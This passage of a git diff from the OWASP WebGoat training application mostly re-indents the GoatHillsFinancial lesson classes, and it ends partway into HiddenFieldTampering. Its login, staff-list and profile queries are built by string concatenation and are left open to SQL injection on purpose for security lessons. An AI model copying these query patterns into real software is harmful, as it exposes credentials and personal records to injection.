org.owasp.webgoat.session.WebSession; public class ListStaff extends DefaultLessonAction { - public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - List employees = getAllEmployees(s, userId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); - } - else - throw new UnauthenticatedException(); - } + List employees = getAllEmployees(s, userId); + setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.LISTSTAFF_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.LISTSTAFF_ACTION; + } - public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException - { - // Query the database for all employees "owned" by the given employee + public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException + { + // Query the database for all employees "owned" by the given employee - List employees = new Vector(); + List employees = new Vector(); - try - { - String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " - + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " + + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - answer_results.beforeFirst(); - while (answer_results.next()) - { - int employeeId = answer_results.getInt("userid"); - String firstName = answer_results.getString("first_name"); - String lastName = answer_results.getString("last_name"); - String role = answer_results.getString("role"); - // System.out.println("Retrieving employee stub for role " + role); - EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); - employees.add(stub); - } - } catch (SQLException sqle) - { - s.setMessage("Error getting employees"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employees"); - e.printStackTrace(); - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + // System.out.println("Retrieving employee stub for role " + role); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); + employees.add(stub); + } + } catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } - return employees; - } + return employees; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java index 0075d11f9..682ab44ac 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java @@ -44,148 +44,148 @@ import org.owasp.webgoat.session.WebSession; public class Login extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException - { - // System.out.println("Login.handleRequest()"); - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException + { + // System.out.println("Login.handleRequest()"); + getLesson().setCurrentAction(s, getActionName()); - List employees = getAllEmployees(s); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); + List employees = getAllEmployees(s); + setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); - int employeeId = -1; - try - { - employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD); + int employeeId = -1; + try + { + employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); + String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD); - // Attempt authentication - if (login(s, employeeId, password)) - { - // Execute the chained Action if authentication succeeded. - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - s.setMessage("Login failed"); - } catch (ParameterNotFoundException pnfe) - { - // No credentials offered, so we log them out - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); - } - } + // Attempt authentication + if (login(s, employeeId, password)) + { + // Execute the chained Action if authentication succeeded. + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + s.setMessage("Login failed"); + } catch (ParameterNotFoundException pnfe) + { + // No credentials offered, so we log them out + setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); + } + } - /** - * After this.handleRequest() is called, when the View asks for the current JSP to load, it will - * get one initialized by this call. - */ - public String getNextPage(WebSession s) - { - String nextPage = GoatHillsFinancial.LOGIN_ACTION; + /** + * After this.handleRequest() is called, when the View asks for the current JSP to load, it will + * get one initialized by this call. + */ + public String getNextPage(WebSession s) + { + String nextPage = GoatHillsFinancial.LOGIN_ACTION; - if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); + if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); - return nextPage; + return nextPage; - } + } - public boolean requiresAuthentication() - { - return false; - } + public boolean requiresAuthentication() + { + return false; + } - public boolean login(WebSession s, int userId, String password) - { - // System.out.println("Logging in to lesson"); - boolean authenticated = false; + public boolean login(WebSession s, int userId, String password) + { + // System.out.println("Logging in to lesson"); + boolean authenticated = false; - try - { - String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; + try + { + String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.first()) - { - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId)); - authenticated = true; - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.first()) + { + setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); + setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId)); + authenticated = true; + } - } catch (SQLException sqle) - { - s.setMessage("Error logging in"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error logging in"); - e.printStackTrace(); - } + } catch (SQLException sqle) + { + s.setMessage("Error logging in"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error logging in"); + e.printStackTrace(); + } - // System.out.println("Lesson login result: " + authenticated); - return authenticated; - } + // System.out.println("Lesson login result: " + authenticated); + return authenticated; + } - public List getAllEmployees(WebSession s) - { - List employees = new Vector(); + public List getAllEmployees(WebSession s) + { + List employees = new Vector(); - // Query the database for all roles the given employee belongs to - // Query the database for all employees "owned" by these roles + // Query the database for all roles the given employee belongs to + // Query the database for all employees "owned" by these roles - try - { - String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " - + "where employee.userid=roles.userid"; + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " + + "where employee.userid=roles.userid"; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - answer_results.beforeFirst(); - while (answer_results.next()) - { - int employeeId = answer_results.getInt("userid"); - String firstName = answer_results.getString("first_name"); - String lastName = answer_results.getString("last_name"); - String role = answer_results.getString("role"); - EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); - employees.add(stub); - } - } catch (SQLException sqle) - { - s.setMessage("Error getting employees"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employees"); - e.printStackTrace(); - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); + employees.add(stub); + } + } catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } - return employees; - } + return employees; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java index 0a950e7af..f6add7f4f 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java @@ -38,39 +38,39 @@ import org.owasp.webgoat.session.WebSession; public class Logout extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException - { - // System.out.println("Logging out"); + public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException + { + // System.out.println("Logging out"); - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); + setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); - // FIXME: Maybe we should forward to Login. - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } + // FIXME: Maybe we should forward to Login. + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } - } + } - public String getNextPage(WebSession s) - { - return chainedAction.getNextPage(s); - } + public String getNextPage(WebSession s) + { + return chainedAction.getNextPage(s); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java index a318e39f5..a0194a358 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java @@ -34,14 +34,14 @@ import org.owasp.webgoat.session.WebSession; public class SearchStaff extends DefaultLessonAction { - public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.SEARCHSTAFF_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.SEARCHSTAFF_ACTION; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java index 4b952ca97..3e73ddb88 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java @@ -43,170 +43,170 @@ import org.owasp.webgoat.session.WebSession; public class UpdateProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0); + int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0); - String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME); - String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME); - String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN); - String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE); - String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER); - String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1); - String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2); - int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER); - String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE); - int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY); - String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN); - int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT); - String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE); - String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES); - String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION); + String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME); + String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME); + String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN); + String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE); + String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER); + String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1); + String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2); + int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER); + String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE); + int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY); + String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN); + int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT); + String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE); + String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES); + String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION); - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, - manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, - personalDescription); + Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, + manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); - if (subjectId > 0) - { - this.changeEmployeeProfile(s, userId, subjectId, employee); - setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer - .toString(subjectId)); - } - else - this.createEmployeeProfile(s, userId, employee); + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer + .toString(subjectId)); + } + else + this.createEmployeeProfile(s, userId, employee); - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); - } + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.VIEWPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.VIEWPROFILE_ACTION; + } - public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) - throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," - + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," - + " personal_description = ? WHERE userid = ?;"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, - ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) + throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); - ps.setString(1, employee.getFirstName()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getPersonalDescription()); - ps.setInt(13, subjectId); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - private int getNextUID(WebSession s) - { - int uid = -1; - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); - results.first(); - uid = results.getInt("uid"); - } catch (SQLException sqle) - { - sqle.printStackTrace(); - s.setMessage("Error updating employee profile"); - } - return uid + 1; - } + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + return uid + 1; + } - public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException - { - try - { - int nextId = getNextUID(s); - String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException + { + try + { + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); - ps.setString(1, employee.getFirstName().toLowerCase()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getDisciplinaryActionDate()); - ps.setString(13, employee.getDisciplinaryActionNotes()); - ps.setString(14, employee.getPersonalDescription()); + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java index 4b0d89ffc..e9d764153 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java @@ -41,84 +41,84 @@ import org.owasp.webgoat.session.WebSession; public class ViewProfile extends DefaultLessonAction { - public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - int employeeId = -1; - try - { - // User selected employee - employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - } catch (ParameterNotFoundException e) - { - // May be an internally selected employee - employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); - } + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); + int employeeId = -1; + try + { + // User selected employee + employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); + } catch (ParameterNotFoundException e) + { + // May be an internally selected employee + employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); + } - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); - } - else - throw new UnauthenticatedException(); + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); - } + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.VIEWPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.VIEWPROFILE_ACTION; + } - protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; + protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java b/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java index df63042bf..7b4161f26 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java +++ b/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java @@ -58,174 +58,174 @@ import org.owasp.webgoat.util.WebGoatI18N; */ public class HiddenFieldTampering extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new 